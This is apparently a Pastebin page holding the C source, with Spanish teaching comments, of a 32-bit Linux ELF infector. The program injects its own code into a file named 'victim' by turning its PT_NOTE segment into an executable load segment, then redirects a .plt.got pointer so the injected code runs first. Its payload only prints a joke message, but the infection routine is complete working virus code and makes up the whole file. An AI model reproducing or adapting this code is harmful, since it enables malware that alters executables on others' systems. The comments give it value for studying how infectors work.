document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Sustitución de PT_NOTE, ahora con código de activación enganchado al
  3.  *    tercer puntero de la .plt.got
  4.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  5.  *
  6.  *    This program is free software: you can redistribute it and/or modify
  7.  *    it under the terms of the GNU General Public License as published by
  8.  *    the Free Software Foundation, either version 3 of the License, or
  9.  *    (at your option) any later version.
  10.  *
  11.  *    This program is distributed in the hope that it will be useful,
  12.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *    GNU General Public License for more details.
  15.  *
  16.  *    You should have received a copy of the GNU General Public License
  17.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  18.  */
  19.  
  20. #include <sys/syscall.h>
  21. #include <sys/types.h>
  22. #include <elf.h>
  23. #include <stdint.h>
  24.  
  25. /* Los includes pueden llegar a ser muy molestos. */
  26. #define O_RDWR                02
  27.  
  28. # define SEEK_SET             0       /* Seek from beginning of file.  */
  29. # define SEEK_CUR             1       /* Seek from current position.  */
  30. # define SEEK_END             2       /* Seek from end of file.  */
  31.  
  32.  
  33. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  34.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  35.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  36.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  37.    coincidencia) */
  38.    
  39. #define BOTTOM_MARKER_LOW  0x504b
  40. #define BOTTOM_MARKER_HIGH 0x5841
  41. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  42. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  43.  
  44. #define NOT_INFECTED_MAGIC 0xdddddddd
  45. #define ORIGINAL_EP_OFFSET 5
  46.  
  47. #define BOTTOM_MARKER      0x5841504b
  48. #define TOP_MARKER         BOTTOM_MARKER
  49.  
  50. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  51. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  52.    sustituirá por la cadena "palabra" */
  53.    
  54. #define _STRINGIFY(x) #x
  55. #define STRINGIFY(x) _STRINGIFY (x)
  56.  
  57. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  58.    el flag "a" le obliga a que la sección se cargue en memoria */
  59.    
  60. asm (".section .code_bottom, \\"xa\\"");
  61. asm (".long " STRINGIFY (BOTTOM_MARKER));
  62. asm ("pushl $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Mejor como macro */
  63. asm ("pusha"); /* Salvamos registros */
  64. asm ("pushf"); /* Y el EFLAGS */
  65. asm ("call _start");
  66. asm ("popf"); /* Recuperamos EFLAGS */
  67. asm ("popa"); /* Y todos los registros */
  68. asm ("ret");
  69.  
  70. asm (".section .code_top, \\"xa\\"");
  71. asm (".long " STRINGIFY (TOP_MARKER));
  72.  
  73.  
  74. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  75.    write, read, open, close y lseek  */
  76. int
  77. write (int fd, const void *buf, int size)
  78. {
  79.   int ret;
  80.  
  81.   asm volatile ("xchg %%ebx, %%esi\\n"
  82.                  "int $0x80\\n"
  83.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  84.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  85.    
  86.   return ret;
  87. }
  88.  
  89. static inline int
  90. read (int fd, void *buf, int size)
  91. {
  92.   int ret;
  93.  
  94.   asm volatile ("xchg %%ebx, %%esi\\n"
  95.                  "int $0x80\\n"
  96.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  97.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  98.                  "memory"); /* read modifica la memoria */
  99.    
  100.   return ret;
  101. }
  102.  
  103. static inline int
  104. lseek (int fd, int offset, int whence)
  105. {
  106.   int ret;
  107.  
  108.   asm volatile ("xchg %%ebx, %%esi\\n"
  109.                  "int $0x80\\n"
  110.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  111.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  112.    
  113.   return ret;
  114. }
  115.  
  116. static int
  117. open (const char *path, int mode)
  118. {
  119.   int ret;
  120.  
  121.   asm volatile ("xchg %%ebx, %%esi\\n"
  122.                  "int $0x80\\n"
  123.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  124.                  "a" (__NR_open), "S" (path), "c" (mode));
  125.    
  126.   return ret;
  127. }
  128.  
  129. static int
  130. close (int fd)
  131. {
  132.   int ret;
  133.  
  134.   asm volatile ("xchg %%ebx, %%esi\\n"
  135.                  "int $0x80\\n"
  136.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  137.                  "a" (__NR_close), "S" (fd));
  138.    
  139.   return ret;
  140. }
  141.  
  142. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  143.    muy útil para depurar. */
  144. void
  145. long2hex (unsigned int number, char *buf)
  146. {
  147.   int i;
  148.   char hexa[] = "0123456789abcdef";
  149.  
  150.   buf[8] = 0;
  151.  
  152.   for (i = 0; i < 8; i++)
  153.   {
  154.     buf[7 - i] = hexa[number & 0xf];
  155.     number >>= 4;
  156.   }
  157. }
  158.  
  159. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  160.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  161.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  162.    hacia arriba o hacia abajo hasta encontrarlos */
  163.    
  164. void
  165. get_code_limits (uint32_t *bottom, uint32_t *top)
  166. {
  167.   int i;
  168.   uint32_t this_addr;
  169.  
  170.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  171.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  172.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  173.      inline assembly de GCC */
  174.      
  175.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  176.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  177.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  178.      a un cacho de código que no está especialmente diferenciado del resto. */
  179.      
  180.   asm volatile ("call 1f\\n"
  181.                  "1:\\n"
  182.                  "popl %0\\n" : "=g" (this_addr));
  183.                  
  184.  
  185.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  186.      últimos bits a cero. */
  187.      
  188.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  189.                       this_addr = this_addr & 0xfffffffc que es un and
  190.                       en binario con todo 1 menos los dos últimos bits,
  191.                       esto fuerza a que el número esté alineado a 4. */
  192.  
  193.  
  194.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  195.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  196.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  197.      
  198.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  199.      restando. */
  200.      
  201.   for (i = this_addr; ; i -= 4)
  202.   {
  203.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  204.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  205.       {
  206.         *bottom = i;
  207.         break;
  208.       }
  209.   }
  210.  
  211.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  212.      nuestra memoria hacia adelante, sumando. */
  213.   for (i = this_addr; ; i += 4)
  214.   {
  215.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  216.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  217.       {
  218.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  219.                          4 bytes) también pertenece al código. */
  220.         break;
  221.       }
  222.   }
  223.  
  224. }
  225.  
  226. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  227.    infectable */
  228. int
  229. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  230. {
  231.   int fd;
  232.  
  233.   if ((fd = open (path, O_RDWR)) < 0)
  234.     return -1; /* Error al abrir */
  235.    
  236.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  237.   {
  238.     close (fd);
  239.     return -1; /* Error al leer la cabecera */
  240.   }
  241.  
  242.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  243.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  244.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  245.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  246.   {
  247.     close (fd);
  248.     return -1; /* Números mágicos incorrectos */
  249.   }
  250.  
  251.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  252.   {
  253.     close (fd);
  254.     return -1; /* El ELF no es de 32 bits */
  255.   }
  256.  
  257.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  258.   {
  259.     close (fd);
  260.     return -1; /* El ELF no es little endian */
  261.   }
  262.  
  263.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  264.   {
  265.     close (fd);
  266.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  267.   }
  268.  
  269.   return fd;
  270. }
  271.  
  272. /* Macro para alinear a tamaños */
  273. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  274.  
  275. /* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
  276. /* Además, me devolverá la dirección virtual del código inyectado */
  277.  
  278. int
  279. replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *vaddr)
  280. {
  281.   int i;
  282.   int note_idx;
  283.   Elf32_Phdr phdr;
  284.   uint32_t lowest_va;
  285.      
  286.   lowest_va = 0xffffffff;
  287.  
  288.   /* Este bucle me calcula la dirección más alta del programa, además de que
  289.      me busca el PT_NOTE. */
  290.  
  291.   note_idx = -1;
  292.  
  293.   for (i = 0; i < Ehdr->e_phnum; i++)
  294.   {
  295.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  296.       return -1;
  297.      
  298.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  299.       return -1;
  300.      
  301.     if (phdr.p_type == PT_LOAD)
  302.     {
  303.       if (phdr.p_vaddr < lowest_va)
  304.         lowest_va = phdr.p_vaddr;
  305.     }
  306.     else if (phdr.p_type == PT_NOTE)
  307.       note_idx = i;
  308.   }
  309.  
  310.   if (note_idx == -1)
  311.     return -1;
  312.    
  313.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  314.   read (fd, &phdr, sizeof (Elf32_Phdr));
  315.      
  316.    
  317.   phdr.p_type = PT_LOAD;
  318.      
  319.   /* Alineamos al tamaño de página, esto es una restricción necesaria, ya
  320.      que el kernel sólo puede definir nuevos segmentos a partir de nuevas
  321.      páginas */
  322.   phdr.p_vaddr = phdr.p_paddr = *vaddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  323.   phdr.p_filesz = size;
  324.   phdr.p_memsz  = ALIGN (size, 4096);
  325.   phdr.p_flags = PF_X | PF_R;
  326.   phdr.p_offset = offset;
  327.   phdr.p_align = 4096;
  328.  
  329.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  330.  
  331.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  332.     return -1;
  333.    
  334.   return 0;
  335. }
  336.  
  337. int
  338. inject (int fd, void *base, off_t offset, size_t size)
  339. {
  340.   if (lseek (fd, offset, SEEK_SET) < 0)
  341.     return -1;
  342.    
  343.   if (write (fd, base, size) < size)
  344.     return -1;
  345.    
  346.   return 0;
  347. }
  348.  
  349. int32_t
  350. get_pltgot_offset (int fd, Elf32_Ehdr *Ehdr)
  351. {
  352.   int i;
  353.  
  354.   Elf32_Phdr phdr;
  355.   Elf32_Dyn dynhdr;
  356.  
  357.   /* Busquemos el segmento dinámico */
  358.  
  359.   for (i = 0; i < Ehdr->e_phnum; i++)
  360.   {
  361.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  362.       return -1;
  363.      
  364.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  365.       return -1;
  366.      
  367.     if (phdr.p_type == PT_DYNAMIC)
  368.       break;
  369.   }
  370.  
  371.   /* No hemos encontrado nada */
  372.   if (i == Ehdr->e_phnum)
  373.     return -1;
  374.    
  375.   /* El tamaño del segmento dinámico (en número de elementos) ha de calcularse
  376.      a mano, dividiendo su tamaño en bytes entre el tamaño de cada entrada */
  377.   for (i = 0; i < phdr.p_filesz / sizeof (Elf32_Dyn); i++)
  378.   {
  379.     if (lseek (fd, phdr.p_offset + i * sizeof (Elf32_Dyn), SEEK_SET) < 0)
  380.       return -1;
  381.      
  382.     if (read (fd, &dynhdr, sizeof (Elf32_Dyn)) < sizeof (Elf32_Dyn))
  383.       return -1;
  384.      
  385.     if (dynhdr.d_tag == DT_PLTGOT)
  386.       break;
  387.   }
  388.  
  389.   /* No hay PLTGOT */
  390.   if (i == phdr.p_filesz / sizeof (Elf32_Dyn))
  391.     return -1;
  392.  
  393.   /* El segmento dinámico especifica la dirección de .plt.got en su forma
  394.      virtual, o sea que vamos a tener que convertirla buscando el
  395.      segmento correspondiente. */  
  396.      
  397.   for (i = 0; i < Ehdr->e_phnum; i++)
  398.   {
  399.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  400.       return -1;
  401.      
  402.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  403.       return -1;
  404.      
  405.     /* ¿Se carga en memoria? Veamos */
  406.     if (phdr.p_type == PT_LOAD)
  407.       if (phdr.p_vaddr <= dynhdr.d_un.d_ptr &&
  408.           dynhdr.d_un.d_ptr < phdr.p_vaddr + phdr.p_filesz)
  409.         return dynhdr.d_un.d_ptr - phdr.p_vaddr + phdr.p_offset;
  410.   }
  411.  
  412.   return -1;
  413. }
  414.  
  415. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  416.  
  417. void
  418. write_zeroes (int fd, int bytes)
  419. {
  420.   int i;
  421.   int null = 0;
  422.  
  423.   for (i = 0; i < bytes; i++)
  424.     write (fd, &null, 1);
  425. }
  426.  
  427. /* Este código se ejecutará dentro del binario infectado */
  428. void
  429. payload (void)
  430. {
  431.   char msg[] = "ALL YOUR DT_PLTGOT ARE BELONG TO US\\n";
  432.   write (1, msg, sizeof (msg) - 1);
  433. }
  434.  
  435. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  436. void
  437. _start (void)
  438. {
  439.   char buffer[9];
  440.   Elf32_Ehdr Ehdr;
  441.   size_t binsize;
  442.   size_t binsize_aligned;
  443.   size_t code_size;
  444.   int fd;
  445.  
  446.   uint32_t *default_entry_point;
  447.   uint32_t limit_bottom;
  448.   uint32_t limit_top;
  449.   uint32_t injected_code_start;
  450.   int32_t  pltgot_offset;
  451.   uint32_t hook_addr;
  452.  
  453.   get_code_limits (&limit_bottom, &limit_top);
  454.  
  455.   code_size = limit_top - limit_bottom;
  456.   default_entry_point = (uint32_t *) ((void *) limit_bottom + ORIGINAL_EP_OFFSET);
  457.  
  458.   /* Aquí tenemos dos casos, dependiendo de si estamos o no estamos dentro */
  459.   if (*default_entry_point == NOT_INFECTED_MAGIC)
  460.   {
  461.     if ((fd = open_elf ("victim", &Ehdr)) == -1)
  462.     {
  463.       DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  464.       for (;;);
  465.     }
  466.    
  467.     binsize = lseek (fd, 0, SEEK_END);
  468.     binsize_aligned = ALIGN (binsize, 4096);
  469.    
  470.     /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  471.        de página de x86 */
  472.        
  473.     write_zeroes (fd, binsize_aligned - binsize);
  474.    
  475.     if (replace_note (fd, &Ehdr, binsize_aligned, code_size, &injected_code_start) == -1)
  476.     {
  477.       DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
  478.       for (;;);
  479.     }
  480.    
  481.     if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
  482.     {
  483.       DEBUG ("No se pudo inyectar.\\n");
  484.       for (;;);
  485.     }
  486.    
  487.     /* Modificación del puntero de la GOT */
  488.    
  489.     if ((pltgot_offset = get_pltgot_offset (fd, &Ehdr)) == -1)
  490.     {
  491.       DEBUG ("El binario no tiene entrada DT_PLTGOT\\n");
  492.       for (;;);
  493.     }
  494.    
  495.     /* Quiero el tercer puntero */
  496.     pltgot_offset += 3 * sizeof (uint32_t);
  497.    
  498.     lseek (fd, pltgot_offset, SEEK_SET);
  499.    
  500.     if (read (fd, &hook_addr, sizeof (uint32_t)) < sizeof (uint32_t))
  501.     {
  502.       DEBUG ("Imposible leer un puntero en .got.plt\\n");
  503.       for (;;);
  504.     }
  505.    
  506.     /* Salvamos la dirección anterior... */
  507.     if (inject (fd, &hook_addr, binsize_aligned + ORIGINAL_EP_OFFSET, 4) == -1)
  508.     {
  509.       DEBUG ("Imposible guardar el punto de entrada\\n");
  510.       for (;;);
  511.     }
  512.        
  513.     /* Ahora tenemos que saltar aquí... */
  514.     hook_addr = injected_code_start + 4;
  515.    
  516.     /* Actualizamos el puntero... */
  517.     lseek (fd, pltgot_offset, SEEK_SET);
  518.     write (fd, &hook_addr, 4);
  519.    
  520.     DEBUG ("Binario victim infectado.\\n");
  521.     for (;;);
  522.   }
  523.   else
  524.     payload (); /* Código a ejecutar una vez infectado el ELF */
  525. }
');